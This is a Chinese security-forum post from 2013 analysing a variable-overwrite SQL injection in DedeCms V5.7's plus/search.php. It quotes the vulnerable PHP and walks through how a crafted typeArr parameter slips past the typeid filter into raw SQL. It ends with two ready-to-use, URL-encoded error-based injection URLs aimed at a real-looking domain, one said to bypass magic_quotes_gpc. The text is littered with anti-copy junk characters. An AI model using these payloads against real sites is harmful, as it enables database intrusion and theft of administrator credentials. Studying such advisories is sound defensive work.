找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2132|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
4 a! F. @: v  Z4 H; A作者: c4rp3nt3r@0x50sec.org. A: W" {9 `' `8 z9 A3 Q1 \
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
4 M- K1 G% V1 X( P- T; \8 @6 E ( |+ c" ?% v! G9 L6 z
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.6 z. T4 J$ Z$ ^; w

& O' u8 a4 U' B# q3 E============7 |1 c2 P+ P# X8 j- K; n4 B
( H" w6 f- _$ \) H

5 F2 w$ ^/ ^! b% x! h1 sDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.& W' _( c) u2 B
+ l$ _6 i& L4 H# a; G
require_once(dirname(__FILE__).”/../include/common.inc.php”);9 I6 I9 Q# v6 ]. Q* i
require_once(DEDEINC.”/arc.searchview.class.php”);
3 H$ r1 V- K* z3 E  { * c! W) F. w$ q( a! ]
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;8 B6 y. q, q/ Q+ z5 b" {0 \
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;7 r& j% g! a- b! x( U1 v. _
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;4 ]# \# e3 Z" R/ r
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;) J' P1 d6 D( }" V( b' U
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
6 m: N9 O) p  y' E& ]; d, j$ l3 b 9 j# j; n: ~+ [4 k
if(!isset($orderby)) $orderby=”;- L, w4 j4 b. K& V5 m- Q: F- j  [6 Z* c
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
  `* X% n, o& m' N/ W; y4 {: j
; g( \- F, P9 j
# E' C/ F% z7 _$ O6 q* K9 tif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
: B1 F  e* J4 I3 ^5 D/ felse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);# q0 f0 z" y8 \8 Q+ N
, u" b  I  s; c4 \+ P- |" i; l) T
if(!isset($keyword)){6 D" ~2 i' ^* s3 \+ @/ G5 |9 R0 s
    if(!isset($q)) $q = ”;
" \3 b, X: S; {* \9 l. {    $keyword=$q;
5 @" v. J( _- o& r}
$ v/ h- Y" k! b+ }
& X$ E+ {& A0 D! n) q$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));) w8 k6 u& s8 U! c) v% Z# d% \) F0 ^

/ _, t6 R2 V; i- w* S//查找栏目信息
& }" D  b  @8 X; w& Qif(empty($typeid))
% j5 P* H2 _/ Z( V{
# R6 R$ P/ ^/ n/ k    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;9 t0 n8 S7 z6 o
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )3 }7 D5 `2 \! l8 S/ u4 d
    {
5 v  t! j2 ^% ~' Y: O6 _        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);# O. k5 q2 S* ~% t* t& |  @2 J, R  Z
        fwrite($fp, “<”.”?php\r\n”);( l; T" H# E* W, T, x& u+ t3 f& n
        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
( V6 J+ m/ D% H" X5 F7 Y0 O. Z. M        $dsql->Execute();
# A) C' c, |! s, I: |) F        while($row = $dsql->GetArray())7 M$ H% W. W% }2 V
        {
% O' q& K9 @: Q! |" Z            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);% G' W' n9 q. m  [# `
        }
" E! }# S2 Q& G        fwrite($fp, ‘?’.'>’);
6 d( ]0 @! j( l        fclose($fp);- O4 o4 K% l- c$ P+ u
    }7 g6 B1 p: c+ ~( g
    //引入栏目缓存并看关键字是否有相关栏目内容4 t' v5 n5 d+ G5 m& e3 o) S
    require_once($typenameCacheFile);
0 h# d" e+ x/ F//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个0 f7 v5 \5 I& L: M5 M5 i
//' u3 X9 m" j; K5 h
    if(isset($typeArr) && is_array($typeArr))5 |/ M* }7 v. k+ h) W
    {8 @& B8 }! y2 b7 k& i: {; I1 K
        foreach($typeArr as $id=>$typename)
( D; ~6 Q/ ?: A8 H9 T4 k+ O4 m        {3 T  ~4 |  b$ b! X6 ^1 }' x" b

1 ^, D  o4 i. |0 x            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过8 C( d) I' [/ |
            if($keyword != $keywordn)7 Y% U, \$ p0 ~+ A, q) a
            {
* a' Q3 c9 ~1 B: D1 w- _6 ?                $keyword = $keywordn;
- |+ d+ Q9 b8 s  k6 f8 t                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
6 x+ G& \4 |# a# A, ~9 n0 v                break;& n; i% Q0 \, l9 I
            }
0 }7 ~1 `2 ]. u        }
! q) R# q3 a' _. J7 V6 K    }
7 h4 r* R. U& x* d& N}
$ z# N6 B: q: x! Z6 o4 {7 i6 C然后plus/search.php文件下面定义了一个 Search类的对象 .
1 u' _; g, U+ C# q: |$ }  b1 c在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
, X. N- [2 Y- w1 K( o' c+ X# v. r  ^$this->TypeLink = new TypeLink($typeid);
9 M9 d% Z$ \- p) I2 {" M; z. ]9 T
& F, b( O% W% a, S/ g' ^, hTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
2 Y% f, H" J- z: n# r/ }
2 P- D" H) V- L" |4 ?% Y8 Iclass TypeLink( R" D& M' T+ c& E9 P  O4 i0 i1 ?
{4 P* N7 M% e* N$ _8 L
    var $typeDir;; t) M, u- f8 w- R8 X( l5 G
    var $dsql;( F  `: l3 L6 E9 L
    var $TypeID;
) k9 q" W0 m* b: o    var $baseDir;: F0 C- g+ H  \2 t- r! F
    var $modDir;
0 c$ }5 r  Z: U3 J2 `    var $indexUrl;
6 ^% ^* B6 j3 V4 o# e    var $indexName;7 n" b: L/ _/ O; K" Z
    var $TypeInfos;/ p. n. m' E$ j& k! ]3 w  D  z  B
    var $SplitSymbol;) B( l/ a7 g" R$ D, [6 C
    var $valuePosition;
/ P5 l) w  a! \9 W    var $valuePositionName;! R/ M: r" c; T* X
    var $OptionArrayList;//构造函数///////1 d- k6 u/ k, f. h
    //php5构造函数
0 R& w8 s. }" \" ~0 F" f: a    function __construct($typeid)9 `% t  w  ]$ _! v+ x
    {9 F0 x- J- Q. |% s  C9 o* ^
        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];: n7 Y. l* ?! t5 _3 a
        $this->indexName = $GLOBALS['cfg_indexname'];
0 n9 V, n8 R% b3 w: j8 O# S7 R        $this->baseDir = $GLOBALS['cfg_basedir'];
5 O6 X8 j5 U3 h+ T) ~* |        $this->modDir = $GLOBALS['cfg_templets_dir'];( _* A( x7 Z: Z/ v1 g( \
        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];. _3 j' u/ ], g# F2 q# d; O
        $this->dsql = $GLOBALS['dsql'];
  T+ n2 }7 t3 J+ p        $this->TypeID = $typeid;
+ G$ }: A1 B! E/ j% D/ w5 d        $this->valuePosition = ”;
9 H) D: G9 d2 B7 s0 z7 U        $this->valuePositionName = ”;
9 a/ n/ X7 u* v& U        $this->typeDir = ”;1 ?  v, _9 i. ~5 ~
        $this->OptionArrayList = ”;1 w; a1 x& q1 F5 ^

* p* a4 M+ Z$ w0 f' P( Z, M( N# V! Z: O        //载入类目信息
' Z$ ^% Q) Z2 v, j& c
. @% P& c) r/ f5 x        <font color=”Red”>$query = “SELECT tp.*,ch.typename as, y& I5 }& I' ^/ H
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join: @( {) K& ]9 u2 `8 H* T: k9 C# F
`#@__channeltype` ch
" N) C' |+ o9 Z3 V5 N' K2 E        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
$ R7 G. i# ?% Y5 J & [' Q3 w/ R) F) p0 T
        if($typeid > 0)
! @' D8 h/ Z# W  L( R1 d) L0 j        {1 A1 L! W1 d* _" g# L& W- J8 M9 ?" ~
            $this->TypeInfos = $this->dsql->GetOne($query);
+ k5 j& k! L+ @$ B3 U1 E! p利用代码一 需要 即使magic_quotes_gpc = Off- J; H: s) g; [$ s. ]
/ ?! {, k2 X  y
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
/ m. n4 Z0 `/ Y+ _$ } - N/ d% V5 J9 V1 o: x# U) C5 \' `
这只是其中一个利用代码… Search 类的构造函数再往下/ g; y0 s3 h) Z0 _5 {$ p6 ~

4 u* l2 h4 F2 L; P, `. |( H8 K0 Z……省略( U; ~2 |, o8 B* u
$this->TypeID = $typeid;
& }1 P1 {. M2 z& N. T) l……省略
8 a5 b1 n4 M  C5 `  M5 kif($this->TypeID==”0″){
5 D" A3 t% G7 M- {8 l5 \            $this->ChannelTypeid=1;4 x* T/ L$ W7 \
        }else{! J5 s9 O" C3 p# \. @
            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
0 V- d* B  R+ Z7 D* Q: k: [4 W//现在不鸡肋了吧亲…3 ^$ b/ O6 B$ |& w+ [
            $this->ChannelTypeid=$row['channeltype'];' l0 I4 M8 e3 |4 R
1 U, z9 v. B/ s; Y  @) r2 V: N$ v/ M* k
        }# O1 L4 M& k* f: B0 Y( J( J1 E
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
$ H" ^, H' F6 m7 M# i , v/ {$ d& O, k2 {' E
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
& w3 [: u" N8 V9 A9 I" `- k5 u$ M+ [ % Y+ g/ x6 e0 O4 a. `
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
# S' @2 g- L* q4 S1 A) q! O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表